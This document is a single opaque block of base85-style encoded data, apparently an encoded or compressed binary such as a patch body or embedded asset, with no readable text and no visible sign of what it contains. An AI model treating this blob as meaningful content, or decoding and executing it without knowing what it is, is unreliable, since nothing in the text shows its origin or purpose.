zI80`%83_JmlQ(<8mxlmDfG{ENhGf<#cs7DXgD?Ay>w!RT9Mb@N_5eeDVZt=}bUKg! z1rF!ifb~+aXVvQi0%`93mfHWl;hz9+9d78=>A>E!1S1#-v*+vX-`NG0;ai)(MzwVI^iy#|g9y>9>DQnL)XfOyWoerr;GfpJXu^b9ixtp|;17NE z$)(aXldQ#bR`88FwT#Ysx`eS`!fOJYAj@(XHNvMB`ge{y@|I0pFJms{#a{P;sbx?} zADVI;eG9Jx&K+*E`?b8&kK;{vX^-+YbvsQQ7x_wms@k)Xg@U6&xSdXUqksROgavJ-?l>*}~~W0t%&Ui!&0 zE{Zd?5gGe9zS#v{SA_eCkX){9UstE7>^Zed3nH|h3ctB#0I&ZdTt$9F7&2tH*AcRP zJYxaj!M_89p*Wp35DMzt>w7_fcit=f^X6}O5+L+QKk(831P+C5ewJ@N2k2&CVDBrx zHE)9a*53JbOEBMuNrx~`0P==N+0zfqE^s!2(*TUJd9O6x`fC*QDp;yN*O~35+jw}wG?qA;j&8aZ&xjKsgg@vNHP@g{+qrG5%Jdo!A>+wGb zkS$>E_R8Mi*IU4Wz}^n-ejs$G@%cj`N~%rgX#=v=%PAc{c_F;SKeqwF#k2&|4E*8` z{Kz++SEt?KKlxMN&Mt5s{JXRPrCG|f_{4is-tezZ=>al^{iX*vjQ7;clm$~C1em>G zZ}`@xu)&WF-!ulh?-vLR8NPfDPz3ng8t(UkwGo`=9%EX3JOMauz;p=1es=;yS&V1c z)6&KfI0ORCkXa=?=J?Sc{@U{+F#20xehjXS50ce7`&iJ?dt6gj_tyk?wK<7C(!Whn z?gvY*D}EIp<&i%XttxqAcH-QwUG{HW-d@^E`&M2OJ#yV=UlEaPj#aBn1f?3|u5j_9KE_h&C>LI>k&_7nul-MnD9)bR3GTdNPYU z1(aC_nJEI|MP%$<8%aC9ZHyUxbOE~_yR56QJ(XzeDI#;~5&ev$n^U6gF)l8HdU~uf zGV4o7#uFbid=rfb9?3<89d;`3EUyWWAm^&5m?@Hg$;b`F*hxEA6)-Lpgl1jtr<--U zB2dtBeEZb;7(;+92OSB*?Bcz2|AKH^`GNpx_f6BU!H+heK+Z?Dh690xd;@!BPy}cQ z1O+pKg~2=-qydP*y%U(n{H7%cBJwThdL5YWLf4+}-uA6MVj6(Y-O@k(-S6lVG4l?H z%zoP!J}uY_4PL>oo&ya2<&i(zbXV}JuRs5ypCQ)9F5u_aK=PoV+JNCeJ_C40zZKH> z=k4GozN03;U73 z&;R64ee3x^U?A{YY8XOy-2hzdH&~cw|Md9ZkfDf<9-xFdfI8ZMrA$k3Krx?!>0Y0a zZ@@2Gy{irAw}T4{W3wBBK|#?P&jFeMA76y_gMYu}3yr#;``_RDbqE#TH~S!TD>t0SpDDggKSe_QUwA+wTt zjb6()OSWfcg~cFLVC8kns1WxovXQrCrdYdeK+LSsl@#NoKvMy++4jA}SLGeVUgJ)> z?G-aBtc)o`a;3}ZxhTR;gfT-%{7F|q;xd;;{SF=%s>PDKhk<8F-IhccuMr%fi^P}U z)Xc0$(s2hEa}^b5ior55@w&uJRSvZbD&0hmP+k+Qv&+$iO}Yy8ngA;iHVT`AbQLFM z_!8C~uv}r!f88?ZP-W8rsmJ}jGAItL*F8W)&o=UPldv>42q@ZMQ(yG%0c!R&0S*K% z4)oqJ;FoAade*O(K3ebR{gAsKNPjO7c%J&p^MTzSJZ-@6VK?{kXkS`|Xaa#e@8_3) zwMQ(F+xx%B&yT?9V%_x1C!@oD`RR~62gs?=Znl7pc{BqLA7(SxJHK`OXOE93ix~uF zY4@$xAKShrKpK5QzB+<`meT_S1xwb{P+trEf#|&R`)~Zzw>F|6`{OYB5}=>`^DDsJ z^z(*qPS4J7Pw^07S!Nfw_JaLbfe%?e zO@Mi~_X*g4zaTKawlNI~;qo+~-}P9h*&|LIDR zjU6-l>2$>{jmM8$bgrlao~m{MBacAjJ0Ly&G_uEKkGHBmJU#V1|L(h(Ex!!-NrU#< z8S6gBH~Ly#KmTT{?w?l3Day zk2`TBPkh@eCSlPpjr0`|~{!oP*6f+9<#My>@MG$s_#OF z?r8mq{R;dF1?l_MdmrJthQK`6_n-cS`wv@a-An^8Ux4xEZ+$sX9lyrE?ga8_=mUPG z@8hx*R9p!0%o(O}cv@ZQ?_oqk{m?hv}O7Xp-^ zZ%r%X?VpqwzwOez*ku`kBCV0$)O)^6Cdf+yM0JzypE9dqacu_J?WE z&A_1G+4=1a;$cDyCc3a+-VM>lt~9T{3RwHRMT17f=EG_ddh_>e2lJ|k*pCh3*93^m zw|?@+pUt=K1P1oTY~&`QXYtnvyX-9=a9R;A%4?l9wS%|( z47)YRPt7IQzVP>9?=Do1eS5vOd3TLhy^DMw=UhT;&S`?^v@~xb-0V-CPy46lT4(vn zjAPF(UuW#ol|4&y5Te%BETdjMS-X2x-7B)?HYhVrTiJ_m1^1fH5mb;|1``K;#;mqo z)dY-Xv4NN4Q{IW(HWW{ay9+700OFLTawS~_pDZm%KU1&=rP_-+856u}*e+K+5nOyq z+7YP7`o1D;TmZ(=<7>w#Pi-9&ckZ@*Il5G4Cm;peSnd;lh1&LbZA;0er0kt8nld2% z8v=9ehx6F`8*)M6=E7p@9rH0>Ju^fPN2aL%aEQ< zc?CE?IJ{>Fv}U$A!0uvU+oLu+Ik_qejpI=8{})iGY}5`jZG_GKK`eAe)ea+ z3rflNN@8nOU90B{?t1Cii|;D}T#?K7xsGGg%lD+1N=DdAd?{&aZQm_FvJk&1;_?dHW8ADa(p8cj;8M%223@Ho{BGe;mrmIKn-P zE@WNfFlM<5PnWJFW?uA#gp5fQj* z!e(^p9CpvFV{%>OZ8HaKOJ5hp?NZrEH_Ak?SC=s|=_)(55npmgb{RPxcZ3PzQyJs_ zOxhPx?lFtY+g)HHYqY?DS2UHkGw$*(_Fai<^M)*kO06!RgxoIaa~or3W$pGJuW>OG z4iL^uAERL}xK7{o0Hv=Z)K?rhJHO#T@tgE?_85IiW6*j5UNr#!(2x0T++Y9oU;k6z z`Hn5q>(gr>0mAP41?t!=&X{*YiuCf`zmTDuf%Q7D5wVdE!89nGdxw9jL0ITkVczu! z_+6d`92C3(;n3jVA1L^I$3!UvnR@oG-v8BmAL{mk72{51{chvCwldq;r&9T5F?ux-BhE03Sz<$Cjp z7#q+7^f1uN z5ulP*gjv%^poTde;il*G{rIdoD0*n4Ej#;t~D6-Ug0nO^qGL3N-+~NUN=M!XLU@hyOCF88`Gu!LFv&RNuT&k+9 z^%!JLcfhj2ixjPNx|XZj2|gKPQ?rS0uUu@oFH5FK?J`KWy`-5U6Q}A-kZ~X1Ng-h@ zQDWo5rkIXw42X#hfl;<`Wc-S3!tuK)Db zNqzpseLt~W^$fG&YdQTu7|*kL)mNVcH2%SUGypm6P9Tjz!Cv-%&4jfDOeYWy{Lf!K zj;Pk05Kf0dv4q|CTM*bEfywux{evK8KOO?CS3+`{FF$MB_X(Wb3B8{D2Y%%1*$z$v z&=9ycf+Gj#AVZHd`VhdsXxQ*&RxBrB#&q@!ct7@gzVWyJ=J!<0-}~iXq7#^@wD_tk zXx?)}uMXtZ3H<0ez#>4Q;7bV9CHtL`z@A2tTSj@+JHMRPK5r|F`nm^L4Zy5}iXgo4 z_-6B08UOEJ`&G@pI(n&PHlePtw7i%-ae8&`#rHJB$~!Y*nQ!WZxJ}vc+=m!K6RRfGVAGCG&$|HdoRRZ(9!n_%Mz~@7BdG~ za>b0&OFvURmNB!e=~>66KSwfhS}D4)DrVQSBHJZXm(?H5MCe4e8DHweJruFC*VSRH zIFlk82e}Ec@wHzCIhHY@lFnvCpfFD3OAQl;i^AS6tBeZLp|(v0@344HOs7a3j}x#p zm|;NirJ3xLF~w71#mOaDlN9g12wfKvV_R}7@Fn=j*mRN3fpD1JNAWnCB^X|7_m}a>l?LuYT0*XXy~WAwby_2U@V@1q&;hdw@)>?qBx?gNW+; zT`9?D`X0-0ARRw92D1gsRxezqDM6hyo?08kr}bA%c*yXt|FysNeEC-yz5n}#+k=L{ zK7@0{gwgXhPr=mN!L$U6{rp{M z2(Z~tr^AFL%Yef@J>*6^x_mD`+~<$O@G{6(4Rs}7XmD{LJHOr$_PZfDw5v;F&<#N0 zoRvSQw}Zd^{6q|YXz|$J{@(ZgpgFLcd*Qk|o&DdLMKc_@n9#@v6V_WHrw2IfM^cS? zp`*x9UB2o8rVW@^MZ|&rSrGbx*%TJ1>pk$`zua(+P^6H#v~g&GUXs|F6xF5Cmr@*&TE1k_f-`>At$C6v6~w>($zN;z@Pz1?O@K9&>kOaDc56E5y6?72Ttigm}bgu5{mSbJc#F0&AeNhsS6PfI#oT(VdjIwW~ zItV4jUh)Jfxg%Hcu}5~y366WuPS`1rECjDHzRuFAC!>v{tQ1%tvo}3J4BCt=#CJUe zNxDjeCN-m>+Np=^yBIDUsLQOe(7s@v9|iQ~H0)_AT&K}O^k~W+PJ`=a#AWyBSZ-px zs89H3()$5nUW8`6Z2QtJ)Rt}wYyoHd%2%Fm85BSZCz|{uKrm!1;4TKx^j@&3Hw0p@~|I07^ zQf(6p{HptB-b?GRwsZ>){V1TZus45)@wzKmu$RaG8vM+J=Yue&L31E`!4dRBAWvQs_4;1k2kto>_^fUe(`^JUa3f|EWtl`@A4fOT7T65 zGy$eP`26%=I(y(^#&Do$P}{!Gyj-uC%^cYMz~CQU!7s84EbzPkD%|fKO?G~@rI7wRf9%_@nryX_iXLCh?ge_SxxKK)W$6>-BLcL6?C&mbQt#|9%OlRKXs&RP zz^AWHfblBMaa_6P@<*uanj$CE@~Tj~D$TyM9OWb6E#u|%X8a5?1|y`H3WB}H?YQOf zTEeA(@5^`--PQ44Ptu)47++n^pJ~-re-v9b(qx5Y)y{%=xB{hDM%H?bS>LlDX7#K! zGzKjFvBBQaFkq_V>?{O4W=Z6{9fw?AniIq$VY6OWZKEX71W6q1ZP{UW1P5H9%9!lS z{RBzyDR0+br6yp7oj9ak0qc^JdK@ckly%8OTaK=Fl&vo%7yc{&{TOozI?bP+(Gj@G zJv)h{_aS{EZ?m~AzTO-*TmPf#G`_soIp|GIG(EOeufW?-HM%xoY~Kl}SZ3gO?s`1RlI?qBr) z^DStf){DS!p!m?R*O+$~TL0TW|NP(o`4>OVrH0t=`^ML4@f8PV*Esl>ZQtn))|()` z7fdtIkN@q50Aa!aVgDBJ^Z-ZDzHs`14T@j;{LjAnX%c@NruTy9Q9yQw8S?^2-UMOu zxA%WNTTMT|-vRi!CFoXRo&E=Z?&seT3x8!%qIQk{;P3f{pZzlj8U@3F)gi1?*l)0~ zn|{0zEPFldr!L&P<`}tzPqW(#4bt?}GlABp_2*Gom=Oqk{WTcA71KS#K|8%2{POi5 z3Q&1^c#oGv((X%tk9MEo@D72tNmo#PzYo|?!L|9T?jQX_w@0#=-jUDB+uFKW<+iZS z>5GN<1pywolKl&pMSve0#P`6!lyMU##RxGtWnh1u{fHuDFXQJ8nFu4~_TDS(S?OIv zpI$Pq;5YZnDZV|<)CiZDlszL?y~dl@oJts(3%`e5LGDv8ukHi;ms1IHYKYDAv@|Q@ z&8BMOIlx&-dzEJiuEmsvJ8L@Yz7|s(u;%v4TPuFdJQZ5NhN&6tK8a$6F=5LrHpHnQ zWF+i@gcs3>pTZnD2SH9KulV;eE;cI>CDm;7Bn2(3r=C?I8ksr!TuTe5j4{BMP+gnv zQU|xta^1a2+9^mx#$!xU+2lB><6dT+h*OWrrLk%lp_5*+bmR$c$8jOlCB+*8j8{cY zOk_g&ZYRiOu?CmEGn8!u+$H270*$_m(wp~0ZtMl91eu> z(gS?+9N^%eHjClFjBW#Rr0K`z??OS^gLxD%(5Q#^M2Y{&U-%0zH)mNl8D*e`p|)|= z&FfAekNIUZ8D>W~)Tf92^syIp5kC&=?w{~4&AoqakdHmzd!6KoA z-zTq5(Tsm*WxTJgje@<5VtMRu3v`-sYI`ANe$=GW&1-i(hEKGefc{qbdCh{CF&&Z*8;$ zzgUIe5a1*1N2Jll)C{7WGOkH40K?SP;FjoOFC^Q>OD6TjcV@4`+rs)P6yzRlBFF}L z^#Gkz$}1;3!uDFhCj!-OOJ5xa_Rk29* zu8PR*+pD>jPF7DA%32~@nbSiHZ8NJg3$a)E#KF?bXvbt~n=!RDV_#E*@>*PngODPc zk;l;j2YI_}sxkvmc~|Ar91bPN=pBL7JzGUi%yFk4O2W7`6Ty)+)iEmzi6$Ukm_mfqHfBUDuD;Rrb|Hr3MI&Ba)`_-!=PxjNcuknwKU<>&;OgrcDGfX9KrUJ&2+XRa&k_hnzkUwch}XGQKc zdV-&+m3?L{++6nQmY4fMf~CB~T>2LUya{_EJPd9@=5&M)e9zRX>Z0s)FQUbzI2N;v zW!a9GXmXK$89!&=CAwL@G&{7+X^VOPOa#po27 z8l_L8tQra!`jV%Zq>z^nYKvo)hfJv0%>A_Scrn$d&Z}d^nR|kJ6~+bPD`Nt7VFW3A z3gd1NJn^dlWQrsX^2E=nYe3)8s8B(wV1$@?D#qp2wM`JYltH<_AwaI~I?B;WJN~T< zM_%?=%BEb_CU08~5DMGok8T++h*4X^*&W6hqLYD@r8i6hev1H2n^xxcLEaGH>+WB5 z`GSIM0S^r-e&qTLpe<`7_@JPa-r@c1D}Vmye(r;pM1I4or2 z4>$VU4|FqdF`*lPgMym_KmY8HfBOYisZptY;VS{E%U3Ue&=Rb^U%egNqzCe46zLfV zv-#Vjc~3GB=&``BANgDR!qouGd%m*d^yLqQ=#f0lHuzb%p7s`SUIq~g&MP6c`3v~@ zWe|g3T7T~T&1~KjwqCop>goOCLnHn75P1LBzwirsBe>bm`@Bo`uf>@I{UDzO`TL=(Zr9gUJOs1Yv$&X_n=IoH)eC}7GUAeNPP>~B}3QwmG)x`fWSuie4B za?3cPS)=vucYz%+i5x0HE~kk@WKv+0nEi*qW-R*-I8I8M+S0pI&Hdn?g&wNR9s(Sj7Bb~;LHnR3_+=jF z`{cSQ64Nt*dL?AQufG^$qN4%GRP$cm2Y~~J3^(#cmTxr!LxB1QpjwMLzWb-YtK&Pu z!oj~5On~a@|hAx7#WSWdetG+&hLH;SRhxkXKUDR zh5Xr{{%(yDBEyG_LBVYDo`(Pff!g6^U$|O-d;!MP=QoA(Hir!0Jqy_p7WhGiz+w2% zTf;)Z?{`c0gFm1VX7Bd-99+ovx#u*}v14Js&X%Z#ho*Fs@Ex)|)oYZtj^k*R#Sa4n~v)KJyR4Ey-{(sGJGUXLi_IH$h4 zWWmJ&F=%7WN;CGH%B(CSOk^x=LpnJo&eUl=0nsl5$INN@c3wxL7;+JL;`FR*AexQe z_5e>MlZ$|HCx|PVEa*GS6m#Ol(iiT$eF^a@rKbGxXQl#y(S+sV1sP^EBHj*gaX7Gr zH{Syk(XrucVatKHqQ12w+>BRG23|ptuApD(9rlY{`q1EKdL39VjOgJ#5vhpo0}NnF zEhbrNXI7t-d4iv*@6{3gybfF)KVxBc|0ERkm2mkeG?-_Dz@acN#ys_x?qBZ+=N%C5 z>J|z%2lAw!xNZsV>_t=C!FlzgIM8}JevA5e>7yHidBuZG;TanRccaf8KQ{@DdFMFz zS4wZ`@|a(vU}>@=+#Nr){?5xF#y_806M4q^Rk%O+BVX4Bv1m{T_vIN$Pr<3TrZ+)E zeg7u!kA(O5I`m<`>i!+%J5$vIbT=*+QwgRG|?7|+xQ6{Htp z>Gzc7wM_4+OI7W@OL|6rF$+9glREMSmA1JBd>QRl;R1~2+iSGDeJXh>Z@FynB`z7S zGH&|{-lw;VI;lUn1J@#t%Ul}1A4b?$R29bkL{o*gA}9Vs!0Y(l47#4%#a8^P(`y{- zz8B42C1(NkqA5K`W^EG}dr3fUW!ZC@5lxNQx4zO%ip*Ao6oY|N$R%bPDTdU$5>HLu zHnTBFyINcvt;1HpxDdax$e@)I96|aKMpnQvJC0pamC;F0b_}?>&RFgV=&}>2hh0soy3;|lsp;@L3ezXMbKGbK5d%=X-1^$2l z0l$9a?*@dhoWe>tZNT6nQyyRS3?J-Q`@+)un2$ey_7%Mp?BhE3M*+ifZufD-^1K5A>-oS#eR%;Suy^hLrMV}4T6}&Z*uM<2PW@hRY~0q9J{!C6;qUyaU;ACh7t#+9 zng$C68wk_l3mNh*aP;9iKNDC?m{)^q7ueguX#mzYUL-dP4gs1BrPNEl9{qc8HKmtR243+V*TxFK*lgl^WwB_D<67eLa%)5l@dLsORNry&UW#BcKQ7(ozXqNAs$bPx=u<<58qH>dw{pk%ehtWS^RjZ`O4+OwPcK|f zoMn8JHx7Asif>2Qxwia?uU~Kjsz_$aAmx`3^F;f~RvXl0y z^=*bhRf0hWsc7SvODM-BJ3^unYDNhhlvg9lai2P)!KNZ`6+3cdF3L7c#f(d?F;kvx zp~7}3;^!v3=>fJc0SP59AJ?jMTFTrsC)$M(2aWrCVm2G#g)xuwo!}h-z_X>j0)FM* zqz3^4f#9DX?bB?2<74DEUxP`1&)q)`Fi&#p0X*36AYZ=yB4sq!?clEz>1nDUke~U; zFS`Z*=KIh20N~JI{agqi01VXWgD@sN9k5@<(zF4azZy?}j}HK9oWmVFH~rErgaGLW zrn8s+p4qS71kvljP~VyDjvqjnu{(jqfxuq3_`E@k+?v_~cB3zc^}7eyyjNss-ZS#~ zOMsd(>;Zv>J@cXU7x3Ea^0(+Vg@);3h5d5RX7Zmgsus4PM zpkNR&jX}en_lPqa(t`{S^$q@&pl`zT;m^YSmg}dX`C?2y8lz|YzOExANdr))i~Yob z{_4xt!uQ6i9KSX;2@0 z4ilR3ID&ceHJB#1Gi#jdg_YT9xJ?A}SP-!c4j!DfvhlB1(vI2sSIh1vnc>q0x3C|a zuBm%%FR!96~W<*c zSCAYPEiom}spSN(TsftxGu3gdr=(~&wT2)wE8%?)a4zc9z~$I$T?JvOKarW8bav;` z+L77%y~aVlO@PSL2`v1>`1u@QQDVcMPg@2E)!aKmrqCP| z?A~B&X2aJ)2(TUnZ1&SBHh^M7V15@kKM5B;G&I)l#F+puKMOLQz#>E52gzQrkx#gI z_Js|8;Xny&7KZ~10!4ju+K3p<=Q3EWKOXjD6eY6Zt5YDbPigw4C73Q>4BQwD_4Nqp zfq!feFHM-x>~|V~klyA)bDe>(k1ez9s~+Ivx8dCMGv>Lu2k*_u(|{gj0O_UsXX;D4 zZ?=60{4CUAAoP(ReJddBpM>L7EC&jj14DY#@dNhs)4)d)kh2Ei?FjOj4~2QK-+2dw zhX8A9*a#<^H$A{<^m*ghK&ZXo+76z+U-6z%P`?US)E8w~PMXboInB?*dA2_mU0CQf zu9$F$F{B5!L4bvD*Od{+CLb-JYYn}~O0lPA%^hK8N0_Myx4b?bO9_$hBtV27ZxL=F z^qid(H8trv;4MO(Hcj0FUfu7rx0qMscZpu>3AH1wc=Ut)&tK6Tt zOHV<$N=bRE$SOmchqCH_=#R_m+79!uXx7N8n$@$`M6Zvv3VZ3yLTTez&WJz|J1zsS zu-71Ung|5kDUdZ1XOj99DoA|G30szH>TQIMX_s8fNr9#fNOZRMBPr`h$SU%v)o z_G>I$q&IEA2-N`GeLv(uK?%Y+DI-9DGnP_lXEMxJV$6XJeqqA&19=oMPyNAxqPxt_ z!-3(zwEofttZiR+{AdQ!{R8~2_;;{Sn3t*S_PQmgsX$=u`9|;No`kdk-PQ{Mrs+2w zzs%D5g9gQNc?i%Qzac|NZ!uwS2j_?3G;0XVaR?9;yfWcI#0I}B2Ub5YEk3^nV(?27 zPlDTn9DWqg$R{%&c@0EnFMEL1>&u%UgksEl9}pm&zyZZMH316P41@?Uo__;weiNjc zhvvG>8tt^0&S@6bJ&RlfSZigizlwn4nYH_4h4sqI@p^@&0FM*@BJ6-I-;Gy%O`X}c zKLJ~FY{=XCW4W&7W?ZMs}ax7m6E52uMr=xl5b45GLmOq^+?qhcGZN$A4 z^QHhIT-+z}hc3raW*p=APS^pL{5tz1$TlmvgZxncD%@qM&ARC|k%jdv+_g}8-DEb4 za+x7xyyUYMvm9py$6Zquigmo!>o5am=qZCSdc3IFp-7sM(<%wggiTfUTA^GX5u)ER zStzn72xG3D+E!BAkCGHvPP!OSEqOtyDv8+`*K7wo7c~KwF?o+mrzWg@Cl2Mw0A+;A zKKDUF%p9;~>}Rw~hr$?*?K@`WrA`^=@T?tQ6JXs9f{;2Rp`3zf9rNUBm#PY1Dw(M+ ztV&G~>?zw>>?pL;Rfz6XYUG?Ib)Qiv)HlBmQV#@X+m~h_fLCVe5T@@J zv|}UKFMW6y*p^1V0Y7t~H-fFv7%Z$_UnxPp+2pN91Zzi_UkNGXg9e)k)c_RHd8#=u zfM;csUIY`MT6Wb84DaRC_-Ex+^X_Xf*(o+goiAu@ zhOwE}A3`AT!eCkoXJuTo2EVvmj0YHgQ^Hwx@4=@M$8WPE%$nX)w{`r}Rkh>AGRl1) zp0j8~xt9u4&(=H}Xiv@Ma$eRmm)XKe@#X9<^>>g<-dD;OrHr)B@vPlrxdc{T zr^6*ds-#KB@{Lz4%ZnPi5--ynW7*M|awTNxbeuYSf*heUNzJ&A%>l=XS z1O^UgQ#jB54Go}49TapY&^a8U&>|%`cWDU%c%eRc z4;~wNggd9*me*NQN7x1*DSJ_teVO$NemmU(FY-rg`lW0I+%fO8(|J!N!xax8xfDRy z<^CeVgnA=TSe19Pne0h)zlvr2+8u)_Z-nJ|EBG15_v%B(*Dfzp+~V9K-)2{Ydx}`{ zM`TLl-DbJ_Pxd}|{-9ZuwK5JE^y=w#Hp{M8_GSYX-xsSbmK~?o>#Wh^Qmb$*QCiar z{m!NM*0*IA;?h)|T`gv1kRoqhggOR<#l6d$_z0)?Rfd$Bb-}61VR7#w(QIX<&IRIC z)waf`Nl{*XIt56NqqApL_CBa&X^1e6n3c;em@6W}1R)D%DErc;!m6{Y-BsCUQluo8 zJ+*aM*Bm*ez9B#i*1fGnlXul$0p-$>s|+*=;z|r%PEDOBpaIW~KKJW#37InZ(Etnq zwwzvH-UW`mWA-svSQ?R=r(V7bJgvX#_3_id^#j51Uh`ptVi2)Vu%GDbQv+cru2>Oy zk)Ae!v&k#`%RcWh;MBXi7^M4WIb@hwPsN}f3;Zn9XVT*+-rM`a)fg=BE6d@!20}sI z=jjJ#BbbK+n+zNLYL7UlU|x26)ASpgbPF?^UEp*A=e-ZQf7AC9?|CXC_=oJ?;P9az z0;D}C-U}k`cAqr+)ZhpERZB2G4QwXVR&O?ck09hLC1{rxpBc{|h-M4el(>%Qr`?xk zAWW#S8iRSuW1(Qs&Mp?rfxzCtA()49WS#)jX?Ofy3y_|BfZ6kf{XEkBI~&Bnq0L@C z2WXr-9|No{-L(Gfk_Q3@`3eZ3#9(1IdG%yqZTnupuQ@PEF&;oTpcoA_$XIX~4z#9M zQt)q$pIAUIxRoV!X`a3}&73aasUR~o3;Nbt#Xqv@f z`JTK>$@QM8zMO+D7!z$~M|gy~{S_wi2seY1Xksn_ukE|#`D0o6sY-0Tu4R`|G2dMy z^>qAa0Z+|~;LVC-93e!(!aeJ3FT`Ftvp9Nf?S<7s>`et(TP^e&$_i_J+Yp3PjW(Fs zaUTr^9nhAY4quOnTyb!W8G5RsNQ}=&>bSVVK5QIiT}W#1ECT7c9F(a6gY9_iiI&RA zVzc&D7K%KDB~fKhF)oRW8i|&q)+ZFkidmYOO{l5uW>3tMw@WI`HL{e>)sd%uCmm&k zvcVn~Y^XLRQFayf!7gyz=h|)G0V{7bb@`N$8&%bgI|9BjuuE5tF(o-y+I^V~@)_Z* z%&3d)(^ysy(6a@5AfLy8Von8eFM5Ez$%|#R{^$zsF`&p6useRW9sF5s3TuP7`+)+s zMT564ANV%}7|ZVanGy#M-5zWd)PsNS{+(W58iRs8X$*%t-2JQ5>HB&1(gQpVz;ptq zrQJ?%@#hrbZoJanr@DZ4h!dBwDVJoCOfEYnox?JP(4oexvPW+v0=_GnuVqeK zwr1qMOj{PxtpaoQ=$G1pk3_O;}qY?Ff;aB)=$C8cxa zAlGC(1~Ps}fTWu-g;lz~98Nvva%Q~7KYzh;Z(|&7oCtVTpU`>5X7%TY98`nr>Z>vv z^8|tGIQSPh{DCI{+8787;}rom7K-H>?M!{1y=uz9yTie`+9pPJ`%VTLTR=7zMsJ}G zb6{Tm5Xgo1bSi{ncIYmeqQ2mtDG>;iFuVs7R%6gF0;l!YZ9tJ58uMO|&)q-dLx6r4 zm|2(**n|3-{a`{K0vrM~-CZ__c@(go`U?t%==dOv*e`9s8goiN5G=eu6KGa!-YeNC zSUbN52sa;QUwAfuBMb_f28Dl8=1IT69(_OY-g)-V)CUvtfFIO1>^DL>goS^|;NSEH zr`?yX;Mw^t6de3B&MojOy1O+4+rVFaF$x9(*$ei_zA#Yd#-MtDKmFa?=g0s1zxllY zn|(!hHmhgzv!u&_|j1eneqLdM@4CcML5mQGV&g4C?! zXx?nGodxt5yk3GEFm7wNPv0MeIsv7oL#V029_%xa+0KG#om6(&o`YDXs zV)pT`!p%jwlAWDWi4)ldN$u=Ci#($Z;$njspG&~y6ba68X9n%$&VKQtK{W61uTbzw zfbS*{)q%+q~F#IRqt1l9EY*P$W6+9qbR_|?d}9_Bs2^Z^hW5ldE!PalWjeGq>orXCbL z;J15#k!$m}pYam`=CQ#39$+Eg=R&xFK+BxE;}^Pn*$=#6;m{zI*e$`pVQA2d_huK^ z-+l@BiRflWICNLL!*|jf9bD9U zO29jz#p@{JbxwOdeWkgtxfh#TSjV~9-%g)UF$NMwegze;i@bV`jW2LT8~r=M7qaZn zbuH!1_t?Cwb~`@1SUX)TcQhy3?$?`kw@h{`-??1%$9?IgEd5eW8B86=YdyEy^6Ast z-MD3(N^Vy)W)ZrWUZZ73~GbAVGbzLar^lVYldzLsO0!hBJfwSmJX^>s>&$Nwk`buH)GQ4R;@2SJQ>vb?nc z=L;|!5k+xN0+hSkdKwW%Mib;4{KLjTh*_%Y%XR!gY^1N_s^$3gnaJl3Ghm=O!sdd1$3)$x_{mpHucSMYyClk^=W8OFuYfrzh=Vl zp*Md^Hu#12@+cs)M!tC(FyH;FQ+j~j*zFGCGzr6jCcuF};LxWAzt=wwk|}5~I2T0J zbAa_I;AsG6Yk1giI)nh>-t*PevnwcUbN4TlD9nrOEnVci{gFE*Tcdtn`~30R?sAD1kkaZeDiq3khZQC{(n3oCn1xrSc2Nkjot8yH~a zvXor)$CoLW!A13@RX}bd0nT~6FxSeNYzNrAHUIDYU&Xo@^xCsAKA zSt?Fut1#pq>lUptwpra4uF=<<*M8XoPN@_y&-JCMLxYCEee^c**oWwz1X$qr6@NIo zj-op>ekBB8)9h^{_)L{ep`Gjnd$ljz?yWrS!NS6N4p1&`0}k&Q|FSO}vv8dZ&YtfD z_8R=Uq1V(mt-sBF$VR>#&|sae7GF3pHhJF9ymuA4#Rmtv(WgTo=h26uPBa+OW6UhA zzoWNV^WhMngav_o9lAzy-E;!0G1vrH97tDCo4*5rCBTI94u~+%q?gw{(&!r?6bg2K zue*Ql2iD_%X%F&)Aj}Hz3JAeMH~RARKc4*)_~l39*by$?yRqLi3DfS|C1x<9_033q> zMUXG6`SkjV17lnZ{d2jm)qJhCcN?ab!3_Xj+Yb!9aV#%TGvhtZM0hEDz^JnCq>kD0 z^Gf%Hko|={**nOs$lK{jf&CtDSJ44?4WE!-UGj?pI`X-e)|~iD^E7+iBV8^h&H&_X z_Eo9d>;6aSn{&CGTg8f%6n1X`iaAm zs?)Zg)wzVV<`RJvwr?+jV^3jcmarKM43NA2Dh#s}Sr?LOt9~lawT%6_0~2trbS%+y zaH1)KOWg&KHyWlcHMH@*z`7NhB3ftU!fQ5RPrM@}V zgn2m7q}RV6=e=N#MS4L&ehQ>Ee~0c~6JWZ3^)z7QgMzgCy6M;NeXt9Bc<*%sFkc7^ z3Wnu^g6H&n8rrNF%)`v>K2B)^^4hO7H1`_z(h{sUMCc8=Z77^;gU}$GzYT=Nfen5> zolao7d{Cd6P{-2fHIOF2B0Vfkeb?RIybEllz|V4K&3Nk&-5u)F$6+$XD1CPV7Xh|X zM3;7-n}NWdPdT8zjBNO7>{o!R4H%8vfbI?Y1rR!Z?&gK}Je6kxp~2Pni{7x8W+1#5 zAT;TP{roPl9}$H8=>9>2(GUCaK;QsgokD|b{)*p*2BU!hzwv`#?UtbMZw_-Eoj|&L zycp8mzo1>Ze?@>l^Wr%`Kl?Yw<)=WhBYZZ3&-N~TzjXZA0#+aIvdJ4z{K5|b>IgJ; zKd?D4dNtW(z?vB3`$DoT-F%aPdzQtPdp17}Y+n}5`>L9i)XH}Y@lAg_y*WN-Q=zlp zj_U~8?%eown_1q*=N{o|FS|UWAhr%K6JVL z1@Cv`%cLg$vb+b`1uV1MRqx{Gu0DmE*Zp+GAK$x8eixWU)(ax5Z7PeBBa(S|xlF*M0Q|)N`>oFRa zO0>B&g5XR1O!*qI*~(olDUv$r-Vk6S`@%cU6i`=00X;jG%uiW=dX7_Er&}S|W8AyF-3+vuSdLTm>m6 zg!{mZ(?UKoUI5RJ|H%^Ai*lx*z9Bu{1?E(v*l&+U!8+3J>teF9eenm_-pFsej>-_oW8n7|1Pi=KCOdU{*I6}lr=HyV6TrD0|r@M zJ{gUS_qyIf=Hbd1SDd%FP`dfdu_z?c~V zLx57Ew*VOq0Y(7!8Uk&+WD}i`&rbvT2>zJ>LwepyPD3wPXtb+6Vo1;SQHJ{VBZATM zx`%Mih*&+qhQK;C!np?+mZRxc^3vQeZ#4tMkk#eu*FfA7Op{P(=eIn}bwFTm2fH_T zJVzbG{;{BxtP@Xsy5^!?K1i#*gvGw`$o4Suu){fb8eA-s1x{ViXuZQ^bKniY+9 zb3lW`g#GwmH3JLw(gv)}UpEGgf^WVClLlZt3fRO57B29+p`f8Ivy6egFkz^V(`n*` z0L_7F0G8#grw1!C-f*a`` 